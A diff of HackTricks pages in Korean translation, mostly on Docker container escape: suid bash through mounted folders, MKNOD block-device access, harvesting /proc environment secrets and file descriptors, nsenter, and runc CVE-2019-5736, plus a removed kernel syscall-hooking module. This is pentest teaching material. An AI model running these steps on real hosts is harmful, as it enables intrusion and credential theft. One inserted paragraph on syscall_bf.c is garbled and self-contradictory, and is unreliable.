만약 **호스트로부터 마운트된 폴더를 가진 컨테이너 내에서 root 권한**으로 접근할 수 있고, **비특권 사용자로 호스트로 탈출**하여 마운트된 폴더에 대한 읽기 권한을 가지고 있다면,\
|
||||
**컨테이너 내의 마운트된 폴더**에 **bash suid 파일**을 생성하고, 이를 **호스트에서 실행**하여 권한 상승을 할 수 있습니다.
|
||||
만약 **컨테이너 내에서 root 권한으로 액세스**할 수 있는 상태이고 호스트의 특정 폴더가 마운트되어 있으며 **비특권 사용자로 호스트로 이탈**하여 마운트된 폴더에 대한 읽기 액세스가 있다면, \
|
||||
**컨테이너 내의 마운트된 폴더**에 **bash suid 파일**을 생성하고 호스트에서 해당 파일을 실행하여 권한 상승을 할 수 있습니다.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -376,12 +366,12 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### 2개의 쉘을 사용한 권한 상승
|
||||
|
||||
만약 **컨테이너 내에서 root 권한에 접근**하고 **비특권 사용자로 호스트를 탈출**했다면, 컨테이너 내에서 MKNOD 기능을 사용할 수 있다면(기본적으로 가능함) [**이 게시물에서 설명한 것처럼**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/), 두 개의 쉘을 악용하여 **호스트 내에서 권한 상승**을 할 수 있다.\
|
||||
이러한 기능을 사용하면 컨테이너 내의 root 사용자가 **블록 장치 파일을 생성**할 수 있다. 장치 파일은 **하드웨어 및 커널 모듈에 접근**하기 위해 사용되는 특수한 파일이다. 예를 들어, /dev/sda 블록 장치 파일은 **시스템 디스크의 raw 데이터를 읽을 수 있다**.
|
||||
만약 **컨테이너 내에서 root로 액세스**할 수 있고 **비특권 사용자로 호스트로 이탈**할 수 있다면, 컨테이너 내에서 MKNOD 기능(기본적으로 제공됨)을 사용하여 **호스트 내에서 권한 상승**을 악용할 수 있습니다. 이에 대한 설명은 [**이 게시물**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)에서 확인할 수 있습니다.\
|
||||
이러한 기능을 통해 컨테이너 내의 root 사용자는 **블록 장치 파일을 생성**할 수 있습니다. 장치 파일은 **하드웨어 및 커널 모듈에 액세스**하는 데 사용되는 특수 파일입니다. 예를 들어, /dev/sda 블록 장치 파일은 **시스템 디스크의 원시 데이터를 읽을 수 있게** 합니다.
|
||||
|
||||
Docker는 컨테이너 내에서 블록 장치의 오용을 방지하기 위해 cgroup 정책을 적용하여 **블록 장치의 읽기/쓰기 작업을 차단**한다. 그러나, 만약 블록 장치가 **컨테이너 내에서 생성**된다면, 이는 **/proc/PID/root/** 디렉토리를 통해 컨테이너 외부에서 접근 가능**해진다. 이 접근은 프로세스 소유자가 컨테이너 내부와 외부에서 **동일**해야 한다.
|
||||
도커는 컨테이너 내에서 블록 장치 오용을 방지하기 위해 **블록 장치 읽기/쓰기 작업을 차단하는 cgroup 정책**을 시행합니다. 그러나, 컨테이너 내에서 블록 장치가 **생성**되면, **/proc/PID/root/** 디렉토리를 통해 컨테이너 외부에서 액세스할 수 있습니다. 이 액세스는 **프로세스 소유자가 컨테이너 내외에서 동일**해야 합니다.
|
||||
|
||||
**Exploitation** 예시는 [**이 설명**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)에서 확인할 수 있다:
|
||||
이 [**글에서의**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) **악용** 예시:
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
|
@ -419,13 +409,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
### hostPID
|
||||
|
||||
호스트의 프로세스에 액세스할 수 있다면, 해당 프로세스에 저장된 많은 민감한 정보에 액세스할 수 있습니다. 테스트 랩을 실행하세요:
|
||||
호스트의 프로세스에 액세스할 수 있다면 해당 프로세스에 저장된 많은 민감한 정보에 액세스할 수 있습니다. 테스트 랩을 실행하세요:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
예를 들어, `ps auxn`과 같은 명령을 사용하여 프로세스 목록을 볼 수 있고 명령어에서 민감한 세부 정보를 검색할 수 있습니다.
|
||||
예를 들어, `ps auxn`과 같은 것을 사용하여 프로세스 목록을 볼 수 있고 명령어에서 민감한 세부 정보를 검색할 수 있습니다.
|
||||
|
||||
그런 다음, **/proc/의 각 프로세스에 액세스할 수 있으므로 env 비밀을 도용할 수 있습니다**. 다음을 실행하면 됩니다:
|
||||
그런 다음, 호스트의 각 프로세스에 액세스할 수 있기 때문에 `/proc/`에서 그들의 환경 비밀을 도둑질할 수 있습니다:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -434,7 +424,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
다른 프로세스의 파일 디스크립터에 접근하여 열린 파일을 읽을 수도 있습니다:
|
||||
당신은 또한 **다른 프로세스의 파일 디스크립터에 액세스하고 그들이 열어 둔 파일을 읽을 수 있습니다**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -444,39 +434,39 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
|||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
당신은 또한 **프로세스를 종료시키고 DoS를 유발**할 수 있습니다.
|
||||
당신은 또한 **프로세스를 종료하고 DoS를 유발**할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
만약 컨테이너 외부의 프로세스에 대한 특권 있는 **액세스 권한**이 있다면, `nsenter --target <pid> --all` 또는 `nsenter --target <pid> --mount --net --pid --cgroup`와 같은 명령을 실행하여 **해당 프로세스와 동일한 ns 제한** (아마도 없음)을 가진 쉘을 실행할 수 있습니다.
|
||||
만약 컨테이너 외부의 프로세스에 대한 특권 **액세스가 있다면**, `nsenter --target <pid> --all` 또는 `nsenter --target <pid> --mount --net --pid --cgroup`와 같은 것을 실행하여 **해당 프로세스와 동일한 ns 제한** (희망컨대 없음) **을 가진 셸을 실행할 수 있습니다.**
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
만약 컨테이너가 Docker [호스트 네트워킹 드라이버 (`--network=host`)](https://docs.docker.com/network/host/)로 구성되었다면, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않습니다 (컨테이너는 호스트의 네트워킹 네임스페이스를 공유하며, 컨테이너에 별도의 IP 주소가 할당되지 않습니다). 다시 말해, **컨테이너는 모든 서비스를 직접 호스트의 IP에 바인딩**합니다. 또한 컨테이너는 공유 인터페이스에서 호스트가 보내고 받는 **모든 네트워크 트래픽을 가로챌 수 있습니다 (`tcpdump -i eth0`)**.
|
||||
만약 컨테이너가 Docker [호스트 네트워킹 드라이버(`--network=host`)](https://docs.docker.com/network/host/)로 구성된 경우, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않습니다 (컨테이너는 호스트의 네트워킹 네임스페이스를 공유하며, 컨테이너에 자체 IP 주소가 할당되지 않습니다). 다시 말해, **컨테이너는 모든 서비스를 직접 호스트의 IP에 바인딩**합니다. 또한 컨테이너는 공유 인터페이스에서 호스트가 송수신하는 **모든 네트워크 트래픽을 가로챌 수 있습니다 (`tcpdump -i eth0`)**.
|
||||
|
||||
예를 들어, 이를 사용하여 호스트와 메타데이터 인스턴스 간의 트래픽을 **스니핑하고 조작**할 수 있습니다.
|
||||
|
||||
다음과 같은 예시들이 있습니다:
|
||||
다음 예시들과 같이:
|
||||
|
||||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
* [Writeup: Google SRE에 연락하는 방법: 클라우드 SQL에 쉘 삽입](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [메타데이터 서비스 MITM을 통한 루트 권한 상승 (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
또한 호스트 내부에서 **localhost에 바인딩된 네트워크 서비스에 접근**하거나, 컨테이너가 접근할 수 있는 것과 다른 **노드의 메타데이터 권한에 접근**할 수도 있습니다.
|
||||
또한 호스트 내부에서 **로컬호스트에 바인딩된 네트워크 서비스에 액세스**하거나, 컨테이너가 액세스할 수 있는 것과 다를 수 있는 **노드의 메타데이터 권한에 액세스**할 수도 있습니다.
|
||||
|
||||
### hostIPC
|
||||
```bash
|
||||
docker run --rm -it --ipc=host ubuntu bash
|
||||
```
|
||||
`hostIPC=true` 옵션을 사용하면 호스트의 프로세스 간 통신 (IPC) 리소스에 액세스할 수 있습니다. 이는 `/dev/shm`에 있는 **공유 메모리**와 같은 IPC 리소스를 읽고 쓸 수 있게 해줍니다. 이는 동일한 IPC 리소스를 다른 호스트나 팟 프로세스에서 사용하는 경우에도 가능합니다. `ipcs`를 사용하여 이러한 IPC 메커니즘을 자세히 검사할 수 있습니다.
|
||||
`hostIPC=true`로 설정하면 호스트의 프로세스 간 통신 (IPC) 리소스에 액세스할 수 있습니다. 이는 `/dev/shm`의 **공유 메모리**와 같은 IPC 리소스를 읽고 쓸 수 있게 해줍니다. 이는 동일한 IPC 리소스를 다른 호스트나 파드 프로세스에서 사용하는 경우입니다. 이러한 IPC 메커니즘을 자세히 살펴보려면 `ipcs`를 사용하세요.
|
||||
|
||||
* **/dev/shm 검사** - 이 공유 메모리 위치에서 파일을 확인합니다: `ls -la /dev/shm`
|
||||
* **기존 IPC 시설 검사** - `/usr/bin/ipcs`를 사용하여 사용 중인 IPC 시설이 있는지 확인할 수 있습니다. 다음과 같이 확인하세요: `ipcs -a`
|
||||
* **/dev/shm 검사** - 이 공유 메모리 위치에서 파일을 확인하세요: `ls -la /dev/shm`
|
||||
* **기존 IPC 시설 검사** - `/usr/bin/ipcs`를 사용하여 사용 중인 IPC 시설이 있는지 확인할 수 있습니다. 다음 명령어로 확인하세요: `ipcs -a`
|
||||
|
||||
### 권한 복구
|
||||
|
||||
시스콜 **`unshare`**가 금지되지 않은 경우 다음을 실행하여 모든 권한을 복구할 수 있습니다:
|
||||
시스템 호출 **`unshare`**가 금지되지 않은 경우 다음을 실행하여 모든 권한을 복구할 수 있습니다:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
|
@ -484,11 +474,11 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
### 심볼릭 링크를 통한 사용자 네임스페이스 남용
|
||||
|
||||
[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)의 게시물에서 설명하는 두 번째 기술은 사용자 네임스페이스와 바인드 마운트를 남용하여 호스트 내의 파일에 영향을 줄 수 있는 방법을 보여줍니다(특정 경우에는 파일 삭제).
|
||||
포스트 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)에서 설명된 두 번째 기술은 사용자 네임스페이스를 통해 바인드 마운트를 남용하여 호스트 내의 파일에 영향을 줄 수 있는 방법을 보여줍니다 (해당 경우에서는 파일을 삭제하는 것).
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**할 수 있습니다.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -497,9 +487,9 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
루트로 `docker exec`를 실행할 수 있는 경우(아마도 sudo와 함께), CVE-2019-5736을 남용하여 컨테이너에서 탈출하여 권한을 상승시킬 수 있습니다(여기에서 exploit을 찾을 수 있습니다: [https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). 이 기술은 기본적으로 컨테이너에서 호스트의 _**/bin/sh**_ 이진 파일을 **덮어씁니다**. 따라서 docker exec을 실행하는 사람은 페이로드를 트리거할 수 있습니다.
|
||||
루트로 `docker exec`를 실행할 수 있는 경우(아마도 sudo로), CVE-2019-5736을 남용하여 컨테이너를 탈출하여 권한을 상승시킬 수 있습니다 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). 이 기술은 기본적으로 **호스트의 _/bin/sh_** 바이너리를 **컨테이너에서 덮어쓸 것**이므로, docker exec를 실행하는 사람은 페이로드를 트리거할 수 있습니다.
|
||||
|
||||
페이로드를 적절하게 변경하고 `go build main.go`로 main.go를 빌드합니다. 결과 이진 파일은 실행을 위해 도커 컨테이너에 배치되어야 합니다.\
|
||||
페이로드를 변경하고 `go build main.go`로 main.go를 빌드하세요. 결과 바이너리는 실행을 위해 docker 컨테이너에 배치되어야 합니다.\
|
||||
실행 시, `[+] Overwritten /bin/sh successfully`가 표시되면 호스트 머신에서 다음을 실행해야 합니다:
|
||||
|
||||
`docker exec -it <container-name> /bin/sh`
|
||||
|
@ -509,17 +499,17 @@ cat /proc/self/status | grep CapEff
|
|||
자세한 정보: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||||
|
||||
{% hint style="info" %}
|
||||
컨테이너가 취약할 수 있는 다른 CVE도 있습니다. 목록은 [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)에서 찾을 수 있습니다.
|
||||
컨테이너가 취약할 수 있는 다른 CVE들이 있습니다. 목록은 [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)에서 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## Docker Custom Escape
|
||||
|
||||
### Docker Escape Surface
|
||||
|
||||
* **네임스페이스:** 프로세스는 네임스페이스를 통해 다른 프로세스와 완전히 분리되어 있으므로 네임스페이스로 인해 다른 프로세스와 상호작용할 수 없습니다(기본적으로 IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 `/proc`을 통한 통신이 불가능합니다).
|
||||
* **루트 사용자**: 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다(하지만 권한은 제한됩니다).
|
||||
* **Capabilities**: Docker는 다음과 같은 권한을 남겨둡니다: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **Syscalls**: 이는 루트 사용자가 호출할 수 없는 syscalls입니다(권한 부족 + Seccomp 때문). 다른 syscalls를 사용하여 탈출을 시도할 수 있습니다.
|
||||
* **네임스페이스:** 프로세스는 네임스페이스를 통해 **다른 프로세스와 완전히 분리**되어야 하므로, 네임스페이스로 인해 다른 프로세스와 상호작용을 탈출할 수 없습니다 (기본적으로 IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 `/proc`를 통해 통신할 수 없음).
|
||||
* **루트 사용자**: 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다 (그러나 권한은 제한됨).
|
||||
* **캐퍼빌리티:** Docker는 다음 캐퍼빌리티를 남겨 두었습니다: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **시스콜:** 이러한 시스콜은 **루트 사용자가 호출할 수 없는 시스콜**입니다 (캐퍼빌리티 부족 + Seccomp 때문). 다른 시스콜을 사용하여 탈출을 시도할 수 있습니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="x64 syscalls" %}
|
||||
|
@ -543,81 +533,9 @@ cat /proc/self/status | grep CapEff
|
|||
0x140 -- kexec_file_load
|
||||
0x141 -- bpf
|
||||
```
|
||||
{% tab title="arm64 syscalls" %}
|
||||
|
||||
## arm64 시스템 호출
|
||||
|
||||
### 개요
|
||||
|
||||
arm64 아키텍처에서는 시스템 호출을 수행하기 위해 `svc` 명령어를 사용합니다. 시스템 호출은 커널에게 특정한 작업을 요청하는 인터페이스입니다. 이 섹션에서는 arm64 아키텍처에서 사용되는 일부 주요 시스템 호출을 살펴보겠습니다.
|
||||
|
||||
### 시스템 호출 번호
|
||||
|
||||
arm64 아키텍처에서는 시스템 호출 번호를 사용하여 특정 시스템 호출을 식별합니다. 시스템 호출 번호는 `x8` 레지스터에 저장되며, 시스템 호출을 수행하기 위해 `svc` 명령어가 실행될 때 이 번호가 사용됩니다.
|
||||
|
||||
### 시스템 호출 예제
|
||||
|
||||
다음은 arm64 아키텍처에서 사용되는 몇 가지 주요 시스템 호출의 예입니다.
|
||||
|
||||
- `openat`: 파일을 열기 위한 시스템 호출입니다. 파일 경로와 옵션을 인자로 전달합니다.
|
||||
- `read`: 파일에서 데이터를 읽기 위한 시스템 호출입니다. 파일 디스크립터와 버퍼를 인자로 전달합니다.
|
||||
- `write`: 데이터를 파일에 쓰기 위한 시스템 호출입니다. 파일 디스크립터와 버퍼를 인자로 전달합니다.
|
||||
- `execve`: 새로운 프로세스를 실행하기 위한 시스템 호출입니다. 실행할 프로그램 경로와 인자를 인자로 전달합니다.
|
||||
- `exit`: 현재 프로세스를 종료하기 위한 시스템 호출입니다.
|
||||
|
||||
### 시스템 호출 테이블
|
||||
|
||||
arm64 아키텍처에서는 시스템 호출 번호와 해당 시스템 호출 함수의 매핑을 위해 시스템 호출 테이블을 사용합니다. 시스템 호출 테이블은 커널 메모리에 위치하며, 시스템 호출 번호를 인덱스로 사용하여 해당 시스템 호출 함수의 주소를 찾을 수 있습니다.
|
||||
|
||||
### 시스템 호출 훅
|
||||
|
||||
시스템 호출 훅은 시스템 호출을 후킹하여 원하는 동작을 수행할 수 있는 기능입니다. 시스템 호출 훅을 사용하면 특정 시스템 호출이 호출될 때마다 원하는 동작을 수행할 수 있습니다.
|
||||
|
||||
### 시스템 호출 후킹 예제
|
||||
|
||||
다음은 arm64 아키텍처에서 시스템 호출 후킹을 수행하는 예제입니다.
|
||||
|
||||
```c
|
||||
#include <linux/module.h>
|
||||
#include <linux/kernel.h>
|
||||
#include <linux/unistd.h>
|
||||
|
||||
MODULE_LICENSE("GPL");
|
||||
|
||||
// 시스템 호출 훅 함수
|
||||
asmlinkage long (*original_syscall)(const struct pt_regs *);
|
||||
|
||||
// 시스템 호출 훅 함수 정의
|
||||
asmlinkage long hooked_syscall(const struct pt_regs *regs) {
|
||||
// 시스템 호출이 호출될 때마다 원하는 동작 수행
|
||||
printk(KERN_INFO "System call hooked\n");
|
||||
|
||||
// 원래의 시스템 호출 함수 호출
|
||||
return original_syscall(regs);
|
||||
}
|
||||
|
||||
// 모듈 초기화 함수
|
||||
int init_module(void) {
|
||||
// 시스템 호출 훅 함수 설정
|
||||
original_syscall = sys_call_table[__NR_openat];
|
||||
sys_call_table[__NR_openat] = hooked_syscall;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 모듈 정리 함수
|
||||
void cleanup_module(void) {
|
||||
// 시스템 호출 훅 함수 해제
|
||||
sys_call_table[__NR_openat] = original_syscall;
|
||||
}
|
||||
```
|
||||
|
||||
### 참고 자료
|
||||
|
||||
- [ARM64 Linux syscall table](https://github.com/torvalds/linux/blob/master/arch/arm64/include/uapi/asm/unistd.h)
|
||||
- [ARM64 Linux syscall implementation](https://github.com/torvalds/linux/blob/master/arch/arm64/kernel/syscalls/syscall.tbl)
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="arm64 시스템 호출" %}
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
|
@ -635,7 +553,9 @@ void cleanup_module(void) {
|
|||
0x111 -- finit_module
|
||||
0x118 -- bpf
|
||||
```
|
||||
{% tab title="syscall_bf.c" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="syscall_bf.c" %}syscall_bf.c 파일에는 Docker 컨테이너에서 호스트 시스템의 커널에 직접 시스템 호출을 수행하는 코드가 포함되어 있습니다. 이를 통해 특권 상승을 이용하여 컨테이너를 벗어나는 공격이 가능해집니다. 이 코드는 컨테이너 내에서 실행되는 프로세스가 호스트 시스템에 루트 권한으로 액세스할 수 있도록 해주는 취약점을 악용할 수 있습니다. 이러한 취약점을 통해 공격자는 호스트 시스템 전체에 액세스할 수 있게 됩니다. 이러한 공격은 Docker 컨테이너의 보안을 강화하는 데 중요한 역할을 합니다. %}
|
||||
````c
|
||||
// From a conversation I had with @arget131
|
||||
// Fir bfing syscalss in x64
|
||||
|
@ -699,7 +619,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
@ -715,7 +635,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
# 유용한 Linux 명령어
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**할 수 있습니다.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -141,10 +141,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)을 사용하여 세계에서 가장 **고급**한 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 자동화하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -171,97 +171,7 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
```
|
||||
## Greps
|
||||
|
||||
### grep
|
||||
|
||||
`grep`은 파일 내에서 특정 패턴을 검색하는 데 사용되는 명령어입니다. 기본적으로 `grep`은 대소문자를 구분하며, 정규 표현식을 사용하여 패턴을 지정할 수 있습니다.
|
||||
|
||||
```bash
|
||||
grep pattern file
|
||||
```
|
||||
|
||||
- `pattern`: 검색할 패턴입니다.
|
||||
- `file`: 검색할 파일입니다.
|
||||
|
||||
### grep -i
|
||||
|
||||
`grep -i`는 대소문자를 구분하지 않고 검색하는 옵션입니다.
|
||||
|
||||
```bash
|
||||
grep -i pattern file
|
||||
```
|
||||
|
||||
### grep -r
|
||||
|
||||
`grep -r`은 디렉토리 내의 모든 파일에서 패턴을 검색하는 옵션입니다.
|
||||
|
||||
```bash
|
||||
grep -r pattern directory
|
||||
```
|
||||
|
||||
- `pattern`: 검색할 패턴입니다.
|
||||
- `directory`: 검색할 디렉토리입니다.
|
||||
|
||||
### grep -v
|
||||
|
||||
`grep -v`는 패턴과 일치하지 않는 라인을 출력하는 옵션입니다.
|
||||
|
||||
